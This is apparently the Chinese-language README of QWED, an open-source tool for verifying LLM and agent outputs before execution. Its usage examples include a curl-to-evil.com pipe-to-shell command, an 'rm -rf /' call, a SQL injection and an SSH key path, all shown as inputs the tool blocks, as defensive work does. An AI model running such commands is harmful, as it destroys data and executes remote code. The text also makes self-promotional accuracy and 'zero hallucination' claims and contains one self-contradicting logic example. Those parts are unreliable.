## 版本更新：v5.1.2 `v5.1.2` 是一个**紧急安全补丁**，修复了通过不安全的 SymPy `parse_expr()` 调用引发的**高危严重性 (CVSS 8.8) 已认证 RCE 漏洞**。 - **CWE-95 修复**：所有 17 处直接的 `parse_expr()` 调用均替换为 `safe_parse_expr()` —— 黑名单 + 剥离内建函数 + 允许的数学命名空间 - **微积分符号一致性**：修复了导数、积分和极限中 `n` 变量不匹配的问题 - **深度防御**：AST 深度限制、SymPy 树验证、拒绝关系表达式 - 缓存 Redis 故障闭锁强化，CodSpeed 基准测试，TS SDK lockfile 修复 如果您是从 `v5.1.1` 升级，请查看[更新日志](CHANGELOG.md)以获取完整的安全通告详情。 ## QWED 的首选应用场景 当 LLM 或 AI agent 不能靠猜测时，请使用 QWED： - 在执行前验证 AI 生成的数学、逻辑、SQL、代码和 schema - 保护 RAG pipeline 免受 prompt injection 和投毒上下文的侵害 - 在 AI agent 的工具调用到达外部系统之前进行检查 - 在高风险工作流中强制执行确定性的流程步骤 **当 AI 输出涉及资金、代码、工具、策略或生产系统时，QWED 的作用最为显著。** ## ⚡ 单行示例 LLM 说：`DELETE FROM users WHERE id=1 OR 1=1` QWED 说：❌ 已拦截 — 执行前检测到 SQL 注入。 **QWED 不仅验证答案 —— 它还定义了 AI 可以信任什么。** ## 🔐 生态系统信任与基础设施 QWED 得到了领先的开源基础设施和安全生态系统的支持，确保了 AI 验证工作负载的生产级可靠性。 [](https://hub.docker.com/r/qwedai/qwed-verification/tags) [](https://www.cloudflare.com/) [](https://circleci.com/) [](https://buildkite.com/qwed-ai/qwed-verification) [](https://codecov.io/gh/QWED-AI/qwed-verification) [](https://qwed-ai.sentry.io) ### 为什么这很重要 验证基础设施本身必须是可验证的。这些生态系统合作伙伴关系确保了： * 容器是安全构建和分发的 * 代码被持续扫描以查找漏洞 * 供应链风险被降至最低 * 验证失败是可观察和可审计的 * 部署能在各种环境中可靠地扩展 ## 📦 安装与快速开始 ### Python SDK (PyPI) ``` pip install qwed # 注意：安装核心引擎 (Math, Code, Facts)。 # 完整功能 (SQL, Logic/Z3, CrossHair)： # pip install "qwed[full]" ``` ### Go SDK ``` go get github.com/QWED-AI/qwed-verification/sdk-go ``` ### TypeScript SDK (npm) ``` npm install @qwed-ai/sdk ``` ### Docker ``` docker pull qwedai/qwed-verification ``` ### 从源码构建 ``` git clone https://github.com/QWED-AI/qwed-verification.git cd qwed-verification pip install -e . ``` ``` from qwed_sdk import QWEDClient client = QWEDClient(api_key="your_key") # LLM 说："Derivative of x^2 is 3x" (Hallucination!) response = client.verify_math( query="What is the derivative of x^2?", llm_output="3x" ) print(response) # -> ❌ 已纠正：The derivative is 2x. (Verified by SymPy) ``` **💡 想在没有我们后端的情况下在本地使用 QWED？** 查看 [QWEDLocal](docs/QWED_LOCAL.md) - 支持 Ollama（免费）、OpenAI、Anthropic 或任何 LLM 提供商。 ## 🚀 首次设置：`qwed init` 让 QWED 与您的 LLM 提供商一起运行的最快方法： ``` mkdir my-project && cd my-project qwed init ``` 会发生什么： ``` [QWED] Initializing verification engines... [ok] SymPy math engine ready [ok] Z3 logic engine ready [ok] AST code engine ready [ok] SQLGlot sql engine ready Running verification suite... [ok] 2+2=5 -> BLOCKED [ok] x>5 AND x<3 -> UNSAT [ok] SELECT * WHERE 1=1 -> BLOCKED [ok] eval(user_input) -> BLOCKED All engines verified. QWED is operational. Step 1/3: Select your LLM provider (NVIDIA, OpenAI, Anthropic, Gemini, Custom) Step 2/3: Enter API key — tested with 5s timeout, stored securely (.env, 0600) Step 3/3: QWED API key generated — shown once, save it QWED is ready. ``` 初始化后，验证您的设置： ``` qwed doctor ``` ``` [QWED Doctor] Health Report [ok] ACTIVE_PROVIDER openai_compat [ok] DATABASE_URL sqlite:///qwed.db [ok] API key valid (tested) [ok] SymPy math engine ready [ok] Z3 logic engine ready [ok] SQLGlot sql engine ready [ok] AST code engine ready All checks passed. ``` ``` qwed test # 12 deterministic tests — all must pass before production ``` ``` [QWED Test] Running verification suite... [pass] Math: derivative of x^2 → 2x [pass] Math: integral of x^2 → x^3/3 [pass] Logic: x>5 AND x<3 → UNSAT [pass] SQL: SELECT * WHERE 1=1 → BLOCKED [pass] Code: eval(user_input) → BLOCKED ... 7 more 12/12 passed ✅ ``` **支持的提供商：** ``` qwed init --provider nvidia # NVIDIA NIM qwed init --provider openai # OpenAI qwed init --provider anthropic # Anthropic Claude qwed init --provider gemini # Google Gemini qwed init --provider custom # Any OpenAI-compatible API ``` **对 CI/CD 友好 — 无交互式提示：** ``` # 使用 flags qwed init --non-interactive --provider nvidia # 使用 env vars NVIDIA_API_KEY=xxx qwed init --non-interactive ``` ## 🚨 LLM 幻觉问题：为什么 AI 不能被信任 每个人都在试图通过**Fine-Tuning**（教给它更多数据）来修复 AI 幻觉。 这就像强迫一个学生记住 1,000,000 道数学题。 **当他们看到第 1,000,001 道题时会发生什么？他们开始猜。** ## 🎯 用例与应用 QWED 专为那些 AI 错误会带来现实后果的行业而设计： | 行业 | 用例 | 没有 QWED 的风险 | |----------|----------|-------------------| | 🤖 **AI Agent** | 工具调用验证、MCP 防御、流程检查 | 不安全的工具执行 | | 🏦 **金融服务** | 交易验证、欺诈检测 | 每次计算错误造成 $12,889 损失 | | 🏥 **医疗 AI** | 药物相互作用检查、诊断验证 | 患者安全风险 | | ⚖️ **法律科技** | 合同分析、合规检查 | 违反法规 | | 📚 **教育 AI** | AI 辅导、评估系统 | 向学生传递错误信息 | | 🏭 **制造业** | 过程控制、质量保证 | 生产缺陷 | ## ✅ 解决方案：确定性信任边界 **QWED** 是一个开源的确定性验证层，结合了符号求解器和实用的安全防护，专为 LLM 系统设计。 我们结合了： - **神经网络** (LLM) 用于自然语言理解 - **符号推理** (SymPy, Z3, AST) 用于确定性验证 ## 🛡️ v4 新特性：Agent 安全 QWED 现在不仅验证输出，还验证 agent 工具链： - MCP Poison Guard - RAGGuard - ExfiltrationGuard - ProcessVerifier ### 核心理念：“不受信任的翻译器” QWED 遵循一个严格的原则：**不要信任 LLM 进行计算或判断；只信任它进行翻译。** **示例流程：** ``` User Query: "If all A are B, and x is A, is x B?" ↓ (LLM translates) Z3 DSL: Implies(A(x), B(x)) ↓ (Z3 proves) Result: TRUE (Proven by formal logic) ``` LLM 是**不受信任的翻译器**。符号引擎是**受信任的验证器**。 ## 💡 QWED 的对比：协调器策略 我们不重新发明轮子。我们将最好的符号引擎统一到一个单一的 **LLM 验证层**中。 ### QWED 与单点解决方案（库） QWED 封装了同类最佳的库，将其复杂的 DSL 抽象为 LLM 的简单自然语言接口。 | 库 | 领域 | QWED 的角色 | |---------|--------|-------------| | **Pandera** | Dataframe 验证 | **协调器：** QWED 使用 Pandera 进行 `verify_data` schema 检查。 | | **CrossHair** | 代码契约 | **协调器：** QWED 使用 CrossHair 进行正式的 Python 验证。 | | **SymPy** | 符号数学 | **协调器：** QWED 将 "Derivative of x^2" 翻译为 SymPy 执行。 | | **Z3 Prover** | 定理证明 | **协调器：** QWED 将逻辑悖论翻译为 Z3 约束。 | ### QWED 与 AI 护栏（框架） | 功能 | **QWED 协议** | NeMo Guardrails | LangChain Evaluators | |---------|-------------------|-----------------|----------------------| | **“法官”** | **确定性求解器** (Z3/SymPy) | 语义匹配器 (Embeddings) | 另一个 LLM (GPT-4) | | **机制** | 翻译为 DSL | 向量相似度 | Prompt Engineering | | **验证类型** | **数学证明** | 策略遵从性 | 共识/意见 | | **误报率** | **~0%** (基于逻辑) | 中等 (语义漂移) | 高 (主观性) | | **隐私** | **✅ 100% 本地** | ❌ 基于云（通常） | ❌ 基于云 | ## 🔬 验证引擎 QWED 将查询路由到专门的引擎，这些引擎充当 DSL 解释器： ``` ┌──────────────┐ │ User Query │ └──────┬───────┘ │ ▼ ┌────────────────────────┐ │ LLM (The Translator) │ │ "Translate to Math" │ └──────┬─────────────────┘ │ DSL / Code ▼ ┌─────────────────────────────┐ │ QWED Protocol │ │ (Zero-Trust Verification) │ ├─────────────────────────────┤ │ 🧮 SymPy ⚖️ Z3 🛡️ AST │ └──────────────┬──────────────┘ │ Proof / Result ┌───┴───┐ ▼ ▼ ❌ Reject ✅ Verified │ ▼ ┌─────────────────┐ │ Your Application│ └─────────────────┘ ``` ## QWED 🆚 传统 AI 安全方法 | 方法 | 准确率 | 确定性 | 可解释性 | 最适用于 | |----------|----------|---------------|-------------|----------| | **QWED 验证** | ✅ 99%+ | ✅ 是 | ✅ 完整追踪 | 生产级 AI | | Fine-tuning / RLHF | ⚠️ ~85% | ❌ 否 | ❌ 黑盒 | 常规改进 | | RAG（检索） | ⚠️ ~80% | ❌ 否 | ⚠️ 有限 | 知识增强 | | Prompt Engineering | ⚠️ ~70% | ❌ 否 | ⚠️ 有限 | 快速修复 | | 护栏 | ⚠️ 可变 | ❌ 否 | ⚠️ 被动响应 | 内容过滤 | ## 🔬 验证引擎：示例 QWED 将查询路由到专门的引擎，这些引擎充当 DSL 解释器。 ### 1. 🧮 数学验证器 (SymPy) **用例：** 金融逻辑、物理、微积分。 ``` # LLM："The integral of x^2 is 3x" (Wrong) client.verify_math( query="Integral of x^2", llm_output="3x" ) # -> ❌ 已纠正：x^3/3 (Verified by SymPy) ``` ### 2. ⚖️ 逻辑验证器 (Z3 Prover) **用例：** 合同分析、寻找矛盾。 ``` # LLM："Start date is Monday. End date is 3 days later, which is Thursday." client.verify_logic( query="If start is Monday, what is 3 days later?", llm_output="Thursday" ) # -> ❌ 错误：3 days after Monday is Thursday. # 等等，实际上：Mon -> Tue(1) -> Wed(2) -> Thu(3)。 # 但如果它发现了矛盾： # "All politicians are liars. Bob is a politician. Bob tells the truth." # -> ❌ 发现矛盾 (Proven by Z3) ``` ### 3. 🗄️ SQL 验证器 (SQLGlot) **用例：** 防止 SQL 注入和幻觉列。 ``` # LLM："Delete all users where id=1 OR 1=1" client.verify_sql( query="Delete user 1", schema="CREATE TABLE users (id INT)", llm_output="DELETE FROM users WHERE id=1 OR 1=1" ) # -> ❌ 安全警报：检测到 SQL Injection (Always True condition) ``` ### 4. 🛡️ 代码验证器 (AST + CrossHair) **例：** 检测有害的 Python/JS 代码。 ``` client.verify_code( code="import os; os.system('rm -rf /')" ) # -> ❌ 安全警报：检测到禁止的函数 'os.system'。 ``` ### 5. 🔐 系统完整性 (Shell & Config Guard) **用例：** 防止 AI Agent 中的 RCE，检测泄露的机密。 ``` # 拦截危险的 shell 命令 (rm, sudo, curl|bash) client.verify_shell_command("curl http://evil.com | bash") # -> ❌ 已拦截：PIPE_TO_SHELL (RCE risk) # Sandbox 文件访问 client.verify_file_access("~/.ssh/id_rsa") # -> ❌ 已拦截：FORBIDDEN_PATH (SSH keys protected) # 扫描 config 中的明文 secrets client.verify_config({"api_key": "sk-proj-abc123..."}) # -> ❌ 检测到 SECRETS_DETECTED：OPENAI_API_KEY at 'api_key' ``` ## 📊 证据：为什么企业级 AI 需要 QWED 验证 我们在 215 个关键任务上对 **Claude Opus 4.5**（世界上最好的 LLM 之一）进行了基准测试。  | 发现 | 含义 | |---------|-------------| | **金融：** 73% 准确率 | 银行不能使用原始 LLM 进行计算 | | **对抗性：** 85% 准确率 | LLM 会上权威偏见的当 | | **QWED：** 100% 错误检测 | 所有 22 个错误在生产前均被捕获 | 📄 [完整基准测试报告 →](docs/benchmarks.md) ## 🧠 QWED 的理念：验证胜于纠正 | ❌ 错误方法 | ✅ QWED 方法 | |-------------------|------------------| | “让我们对模型进行 Fine-tune 以提高准确性” | “让我们用数学验证输出” | | “信任 AI 的置信度得分” | “信任符号证明” | | “添加更多训练数据” | “添加验证层” | | “希望它不会产生幻觉” | “确定性地捕获幻觉” | **QWED = Query with Evidence and Determinism** ## 🔌 LLM 框架集成 已经在使用 Agent 框架了？QWED 可以直接无缝接入。 ### 🦜 LangChain（原生集成） **安装：** `pip install 'qwed[langchain]'` ``` from qwed_sdk.integrations.langchain import QWEDTool from langchain.agents import initialize_agent from langchain_openai import ChatOpenAI # 初始化 QWED 验证工具 tool = QWEDTool(provider="openai", model="gpt-4o-mini") # 添加到你的 agent llm = ChatOpenAI() agent = initialize_agent(tools=[tool], llm=llm) # Agent 自动使用 QWED 进行验证 agent.run("Verify: what is the derivative of x^2?") ``` ### 🤖 CrewAI ``` from qwed_sdk.integrations.crewai import QWEDVerifiedAgent agent = QWEDVerifiedAgent(role="Analyst", verify_math=True) ``` ### 🦙 LlamaIndex ``` from qwed_sdk.integrations.llamaindex import QWEDQueryEngine # 将 Fact Guard 验证添加到任何 query engine verified_engine = QWEDQueryEngine(base_engine, verify_facts=True) ``` ## 🔒 安全与隐私 在高风险行业（金融、法律、医疗）中，您不能将敏感数据发送到外部 API 进行验证。 **QWED 专为零信任环境而设计：** * **100% 本地执行：** QWED 在您的基础设施（Docker/Kubernetes）内运行。数据永远不会离开您的 VPC。 * **隐私盾（新）：** 内置的 **PII Masking**（个人身份信息掩盖）会在信用卡、SSN 和电子邮件*接触* LLM 之前对其进行脱敏。 * **无“模型训练”：** 我们不会在您的数据上进行训练。QWED 是一个确定性的代码执行引擎，而不是生成模型。 * **审计日志：** 每次验证都会生成一个加密签名的收据（JWT），证明检查已通过。 ## 🏛️ 权威验证（阶段 9） * **不再有虚假案例：** `CitationGuard`（法律）根据有效的判例汇编格式（例如，Bluebook）验证法律引用。 * **银行级准备：** `ISOGuard`（金融）确保 AI 支付符合 ISO 20022 标准。 * **符合伦理的 AI：** `DisclaimerGuard`（核心）在受管制的输出中强制执行安全警告。 ## 🗺️ 路线图 我们正在为 agentic web 构建**通用验证标准**。 * **v4.0（已上线）：** Agentic 安全防护（MCP、RAG、Exfiltration）、流程确定性和核心引擎。 * **2026 年第二季度 - v4.1：** **QWED 客户端** (WebAssembly) 支持在浏览器中进行验证。 * **2026 年第三季度 - v4.2：** **分布式验证网络**引入去中心化的验证器节点网络。 ## 🌐 QWED 生态系统 QWED 验证以针对不同行业的专用包形式提供： ### 📦 包 | 包 | 描述 | 安装 | 仓库 | |---------|-------------|---------|------| | **qwed** | 核心验证 + 安全防护 | `pip install qwed` | [GitHub](https://github.com/QWED-AI/qwed-verification) | | **qwed-finance** 🏦 | 银行、贷款、NPV、ISO 20022 | `pip install qwed-finance` | [GitHub](https://github.com/QWED-AI/qwed-finance) | | **qwed-legal** 🏛️ | 合同、截止日期、引用、管辖权 | `pip install qwed-legal` | [GitHub](https://github.com/QWED-AI/qwed-legal) | | **qwed-infra** ☁️ | IaC 验证 (Terraform, IAM, 成本) | `pip install qwed-infra` | [GitHub](https://github.com/QWED-AI/qwed-infra) | | **qwed-ucp** 🛒 | 电商购物车/交易验证 | `pip install qwed-ucp` | [GitHub](https://github.com/QWED-AI/qwed-ucp) | | **qwed-mcp** 🔌 | Claude Desktop MCP 集成 | `pip install qwed-mcp` | [GitHub](https://github.com/QWED-AI/qwed-mcp) | | **open-responses** 🤖 | OpenAI Responses API + QWED 防护 | `pip install qwed-open-responses` | [GitHub](https://github.com/QWED-AI/qwed-open-responses) | | **qwed-tax** 💸 | 税务合规与预扣税验证中间件 | `pip install qwed-tax` | [GitHub](https://github.com/QWED-AI/qwed-tax) | ### 🎬 GitHub Actions 在您的 CI/CD pipeline 中使用 QWED 验证： ``` # Secret Scanning - 检测泄露的 API keys - uses: QWED-AI/qwed-verification@v3 with: action: scan-secrets paths: "**/*.env,**/*.json" # Code Security - 查找危险 patterns (eval, exec, subprocess) - uses: QWED-AI/qwed-verification@v3 with: action: scan-code paths: "**/*.py" output_format: sarif # Integrates with GitHub Security tab # Shell Script Linting - 拦截 RCE patterns (curl|bash, rm -rf) - uses: QWED-AI/qwed-verification@v3 with: action: verify-shell paths: "**/*.sh" # LLM Output Verification (Math, Logic, Code) - uses: QWED-AI/qwed-verification@v3 with: action: verify engine: math query: "Integral of x^2" llm_output: "x^3/3" ``` | Action | 用例 | 市场 | |--------|----------|-------------| | `QWED-AI/qwed-verification@v3` | **全新！** 机密扫描、代码分析、SARIF 输出 | [查看](https://github.com/marketplace/actions/qwed-protocol-verification) | | `QWED-AI/qwed-legal@v0.2.0` | 合同截止日期、管辖权、引用 | [查看](https://github.com/marketplace/actions/qwed-legal-verification) | | `QWED-AI/qwed-finance@v1` | NPV、贷款计算、合规性 | [查看](https://github.com/marketplace/actions/qwed-finance-guard) | | `QWED-AI/qwed-ucp@v1` | 电商交易 | [查看](https://github.com/marketplace/actions/qwed-commerce-auditor) | ### 🎓 免费 AI 验证课程 **学习路径：从零到生产就绪的 AI 验证** [](https://github.com/QWED-AI/qwed-learning) - 💡 艺术家与会计师：为什么 LLM 很有创造力但在数学方面却很糟糕 - 🧮 神经符号 AI：确定性验证如何捕获错误 - 🏗️ 生产模式：构建真正有效的护栏 - 🦜 框架集成：LangChain、LlamaIndex 等 **🚀 [开始免费课程 →](https://github.com/QWED-AI/qwed-learning)** 📖 [完整生态系统文档](https://docs.qwedai.com) ## 🌍 多语言 SDK 支持 | 语言 | 包 | 状态 | |----------|---------|--------| | [🐍 Python](./qwed_sdk/) | `qwed` | ✅ 在 PyPI 上可用 | | [🟦 TypeScript](./sdk-ts/) | `@qwed-ai/sdk` | ✅ 在 npm 上可用 | | [🐹 Go](./sdk-go/) | `qwed-go` | ✅ 可用 | | [🦀 Rust](./sdk-rust/) | `qwed` | ✅ 在 crates.io 上可用 | ``` # Python pip install qwed # Go go get github.com/QWED-AI/qwed-verification/sdk-go # TypeScript npm install @qwed-ai/sdk # Rust cargo add qwed ``` ## 🎯 真实示例：价值 $12,889 的 Bug **用户询问 AI：**“计算复利：$100K，利率 5%，期限 10 年” **GPT-4 回答：**“$150,000” *（错误地使用了单利）* **使用 QWED：** ``` response = client.verify_math( query="Compound interest: $100K, 5%, 10 years", llm_output="$150,000" ) # -> ❌ 不正确：Expected $162,889.46 # 错误：使用了 simple interest formula 而不是 compound ``` **未经验证的代价：** 每笔交易产生 $12,889 的错误 💸 ## 🧑‍💻 开发与测试 ### 从源码构建 ``` # 克隆并以开发模式安装 git clone https://github.com/QWED-AI/qwed-verification.git cd qwed-verification pip install -e ".[dev]" ``` ### 运行测试 ``` # 运行所有 tests pytest tests/ -v # 带覆盖率运行 pytest tests/ -v --cov=src/qwed_new --cov-report=html # 运行特定的 test 文件 pytest tests/test_math_verifier.py -v ``` ### 静态分析与代码检查 QWED 使用多种工具进行代码质量控制： ``` # Type checking mypy src/ # Linting ruff check src/ # Security scanning (Snyk integration in CI) # 参见 .github/workflows/ci.yml ``` ### 持续集成 所有 PR 都通过 GitHub Actions 运行： - ✅ 单元测试 (Python 3.10, 3.11, 3.12) - ✅ 类型检查 - ✅ 安全扫描 (Snyk, CodeRabbit) - ✅ 覆盖率报告 详情请参阅 [`.github/workflows/ci.yml`](.github/workflows/ci.yml)。 ## ❓ 常见问题解答 ### 问：QWED 是针对 AI agent 的还是仅针对 LLM 输出？ **答：**两者皆是。QWED 最初作为确定性输出验证工具，现在已包含针对 agent 工具链、RAG pipeline 和流程验证的信任防护。 ### 问：QWED 与 RAG（检索增强生成）有何不同？ **答：**RAG 通过文档溯源来改善 LLM 的*输入*。QWED 则是确定性地验证*输出*。RAG 增加知识；QWED 增加确定性。 ### 问：QWED 可以与任何 LLM 一起使用吗？ **答：**可以！QWED 与模型无关，支持 GPT-4、Claude、Gemini、Llama、Mistral 以及任何其他 LLM。我们验证的是输出，而不是模型。 ### 问：QWED 会取代 Fine-tuning 吗？ **答：**不会。Fine-tuning 使模型更擅长某些任务。QWED 验证它们是否做得正确。请同时使用两者。 ### 问：QWED 是开源的吗？ **答：**是的！采用 Apache 2.0 许可证。企业功能（审计日志、多租户）位于单独的仓库中。 ### 问：延迟开销是多少？ **答：**对于大多数验证，通常 <100ms。数学和逻辑证明是即时的。共识检查需要更长的时间（多次 API 调用）。 ### 问：我需要每次都运行 `qwed init` 吗？ **答：**不需要。一旦初始化，QWED 将从 `.env` 读取配置。仅在更换提供商或轮换密钥时才需要重新运行。 ## 📚 文档与资源 **主要文档：** | 资源 | 描述 | |----------|-------------| | [📖 完整文档](https://docs.qwedai.com) | 完整的 API 参考和指南 | | [🔧 API 参考](https://docs.qwedai.com/docs/api/overview) | Endpoint 和 schema | | [⚡ QWEDLocal 指南](docs/QWED_LOCAL.md) | 客户端验证设置 | | [🖥️ CLI 参考](docs/CLI.md) | 命令行界面 | | [🔒 PII Masking 指南](docs/PII_MASKING.md) | HIPAA/GDPR 合规 | | [🆓 Ollama 集成](docs/OLLAMA_INTEGRATION.md) | 免费的本地 LLM 设置 | **项目文档：** | 资源 | 描述 | |----------|-------------| | [📊 基准测试](docs/benchmarks.md) | LLM 准确度测试结果 | | [🗺️ 项目路线图](docs/roadmap.md) | 未来功能和时间表 | | [📋 更新日志](docs/changelog.md) | 版本历史摘要 | | [📜 发布说明](docs/releases/) | 详细的版本发布说明 | | [🎬 GitHub Action 指南](docs/github-action.md) | CI/CD 集成 | | [🏗️ 架构](docs/ARCHITECTURE.md) | 系统设计和引擎内部原理 | **社区：** | 资源 | 描述 | |----------|-------------| | [🤝 贡献指南](CONTRIBUTING.md) | 如何为 QWED 做贡献 | | [GOVERNANCE.md](GOVERNANCE.md) | 项目治理与角色 | | [ROADMAP.md](ROADMAP.md) | 未来计划与愿景 | | [📜 行为准则](CODE_OF_CONDUCT.md) | 社区指南 | | [🔒 安全策略](SECURITY.md) | 报告漏洞 | | [📖 引用](docs/CITATION.cff) | 学术引用格式 | ## 🏢 企业功能 需要**可观察性**、**多租户**、**审计日志**或**合规性导出**？ 📧 联系方式：**rahul@qwedai.com** ## 📄 许可证 Apache 2.0 - 请参阅 [LICENSE](LICENSE) ## ⭐ Star 历史 [](https://star-history.com/#QWED-AI/qwed-verification&Date)

如果图表未加载，请点击此处查看替代方案

**当前 Star 数：** [](https://github.com/QWED-AI/qwed-verification/stargazers) **查看趋势：** [Star 历史页面](https://star-history.com/#QWED-AI/qwed-verification&Date)

## 👥 贡献者 感谢所有参与构建 QWED 的人，特别是 [@Pryce22](https://github.com/Pryce22)，我们的第一位贡献者。 ## 📄 引用 如果您在您的研究或项目中使用了 QWED，请引用我们归档的论文： ``` @software{dass2025qwed, author = {Dass, Rahul}, title = {QWED Protocol: Deterministic Verification for Large Language Models}, year = {2025}, publisher = {Zenodo}, version = {v1.0.0}, doi = {10.5281/zenodo.18110785}, url = {https://doi.org/10.5281/zenodo.18110785} } ``` **纯文本：** ## ✅ 在您的项目中使用 QWED？ 将这些徽章添加到您的 README 中，以表明您正在使用经验证的 AI： ### 徽章变体 | 徽章 | 用例 | Markdown | |-------|----------|----------| | [](https://github.com/QWED-AI/qwed-verification#%EF%B8%8F-what-does-verified-by-qwed-mean) | **通用** - 任何 QWED 集成 | 见下文 | | [](https://docs.qwedai.com/docs/engines/overview#deterministic-first-philosophy) | **数学/逻辑/代码/SQL/Schema** - 无 LLM 回退 | 见下文 | | [](https://docs.qwedai.com/docs/engines/overview#deterministic-first-philosophy) | **事实/图像/共识** - 混合方法 | 见下文 | ### Markdown 代码 **通用徽章：** ``` [](https://github.com/QWED-AI/qwed-verification#%EF%B8%8F-what-does-verified-by-qwed-mean) ``` **100% 确定性（用于数学、逻辑、代码、SQL、Schema 引擎）：** ``` [](https://docs.qwedai.com/docs/engines/overview#deterministic-first-philosophy) ``` **AI + 验证（用于事实、图像、共识引擎）：** ``` [](https://docs.qwedai.com/docs/engines/overview#deterministic-first-philosophy) ``` 这些徽章可以准确地告诉用户您的应用程序使用了何种级别的验证。 ## 🛡️ “Verified by QWED”是什么意思？ 当您在仓库或应用程序上看到 **[Verified by QWED]** 徽章时，它是一种**技术保证**，而不是营销噱头。 它证明该软件遵循了 AI 安全的 **QWED 协议**： 1. **零幻觉保证：** 应用程序在处理数学、逻辑或代码时不依赖 LLM 的概率。它使用**确定性引擎**（SymPy、Z3、AST）在输出数据之前证明正确性。 2. **“不受信任的翻译器”架构：** 系统仅将 LLM 视为翻译器（自然语言 → DSL），从不将其视为法官。如果翻译无法进行数学证明，系统宁愿拒绝回答也不会进行猜测。 3. **密码学问责：** 应用程序为其关键操作生成**基于 JWT 的证明**（ES256 签名）。每一个“已验证”的输出都附带一份密码学收据，证明已有求解器对其进行了验证。 **简而言之：徽章意味着“我们不信任 AI。我们信任数学。”** ## 🙏 诚邀贡献者 我们正在积极寻找贡献者！无论您是新手还是经验丰富的开发者，这里都有您的位置。 [](https://github.com/QWED-AI/qwed-verification/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) [](https://github.com/QWED-AI/qwed-verification/issues?q=is%3Aissue+is%3Aopen+label%3A%22help+wanted%22) ### 🎯 贡献方式 | 领域 | 我们的需要 | |------|-------------| | 🧪 **测试** | 为边缘场景添加测试用例 | | 📝 **文档** | 改进示例和教程 | | 🌍 **i18n** | 将文档翻译成其他语言 | | 🔧 **SDK** | 增强 Go/Rust/TypeScript SDK | | 🐛 **Bug** | 修复问题或报告新问题 | **[→ 阅读 CONTRIBUTING.md](CONTRIBUTING.md)** | **[→ 浏览 Good First Issues](https://github.com/QWED-AI/qwed-verification/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22)**

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